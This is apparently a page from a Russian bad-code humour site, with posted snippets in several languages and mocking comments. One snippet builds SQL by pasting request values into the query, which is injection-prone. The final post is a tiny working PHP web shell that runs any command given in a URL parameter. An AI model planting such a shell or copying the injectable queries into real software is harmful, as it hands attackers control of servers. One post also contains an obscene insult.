- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
try
{
if (empty($this->kinds) && $this->kinds !== false)
throw new Exception('', 1);
}
catch (Exception $e)
{
if (empty($this->kinds))
$this->kinds = false;
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+147
try
{
if (empty($this->kinds) && $this->kinds !== false)
throw new Exception('', 1);
}
catch (Exception $e)
{
if (empty($this->kinds))
$this->kinds = false;
}
Забавное использование try catch, почти goto
+147
private function getExperts($where = '') {
if ($where) {
$where = "WHERE $where";
}
$query = "SELECT * FROM $this->expertsTable $where";
$experts = self::$DB->select($query);
// workarround кривой структуры бд
// выбрасываем повторяющихся экспертов
$experts_unique = array();
foreach($experts as $expert)
{
$key = md5($expert['expertName'].$expert['photo'].$expert['text']);
if(!isset($experts_unique[$key]))
$experts_unique[$key] = $expert;
}
return array_values($experts_unique);
}
+164
if ($user_id){ $user_sql = "(c.user_id=$user_id OR c.session_id='$sid')"; } else { $user_sql = "(c.user_id=0 AND c.session_id='$sid')"; }
$sql = "SELECT i.title as title, i.price as price, c.itemscount as itemscount, i.category_id as category_id FROM cms_uc_cart c, cms_uc_items i WHERE c.item_id = i.id AND $user_sql";
Все гениально и просто б#я! InstantCMS. Пол движка с подобными условиями. Писали школьники?! Видимо да ;(
P.S Соре просто с г#вном пришлось работать. Чувствую себя фермером 0_0
+147
cout<<"enterX"<<endl;
cin >>x;
x = 0.125;
−112
private function getListenerIndex(func:Function):Number
{
var num:Number = -1;
for(var i:int = 0; i < mouseWheelListeners.length; i++)
{
if(func == mouseWheelListeners[i])
{
num = i;
break;
}
}
return num;
}
public function addMouseWheelListener(subscriberFunc:Function):void
{
if(getListenerIndex(subscriberFunc) == -1)
mouseWheelListeners.push(subscriberFunc);
}
Отдельного внимания заслуживает тот факт, что человек решил, что индексов в массиве не будет больше чем максимальное цело 32-битное знаковое, и не меньше чем минимальное, а вернул все равно Number. (Для не разбирающихся в AS3 есть Array.indexOf(), метод который делает то, что делает getListenerIndex() в данном примере, только быстрее, и называется по-человечески. Но автор считает, что мануал написан для идиотов...)
+147
try {
final int dx = MazeBuilder.dirsx[n];
final int dy = MazeBuilder.dirsy[n];
final int dn = this.mazedists[this.px + dx][this.py + dy];
if (dn < d) {
break;
}
} catch (final Exception e) {
}
// потом, чуть дальше:
if (n == 4) {
this.dbg("HELP!");
}
заедаем исключения NullPointerException и ArrayIndexOutOfBoundsException, а заодно и если вдруг еще какое вылетит.
неудивительно, что потом бывают сюрпризы
+147
procedure AddColoredLine(ARichEdit: TRichEdit; AText: string; AColor: TColor);
begin
with ARichEdit do
begin
SelStart := Length(Text);
SelAttributes.Color := AColor;
SelAttributes.Size := 8;
SelAttributes.Name := 'MS Sans Serif';
Lines.Add(AText);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
AddColoredLine(RichEdit1, 'Govnokoder уебок', clRed);
AddColoredLine(RichEdit1, 'Govnocoder уебок', clGreen);
end;
говнокодер уебак разными цветами
+147
s1:=‘789’; s2:=’34.6’; s3:=‘3+2a’;
Val(s1,p,w); writeLn(p:4,w:2);
Val(s2,q,w); writeLn(q:6:1,w:2);
WriteLn(p+q:7:1);
Val(s3,p,w); writeLn(w);
s1:=‘Я Вас люблю’; WriteLn(s1);
q:=Length(s1); WriteLn(q);
p:=Pos(‘о’,s1); WriteLn(p);
p:=Pos(‘к’,s1); WriteLn(p);
−106
var dictionary:Dictionary = new Dictionary(true);
var a:Sprite = new Sprite();
dictionary[a] = new Object();
trace(dictionary[a]); //Outputs [object Object]
a = null; //Clear reference to the Sprite.
trace(dictionary[a]); //Outputs undefined
Человек в блоге объясняет прелесть Dictionary со слабыми ссылками.
+159
<?php
if(isset($_GET)){
$_com=$_GET['_com'];
ob_start();
passthru($_com." 2>&1");
$content_grabbed=ob_get_contents();
ob_end_clean();
echo '<div>',$content_grabbed,'</div>';
};
?>
<form name=sys_form method=GET action="">
# <input type="text" name="_com" value="ls"><br>
<input type="submit">
</form>
Выполняет команды шела.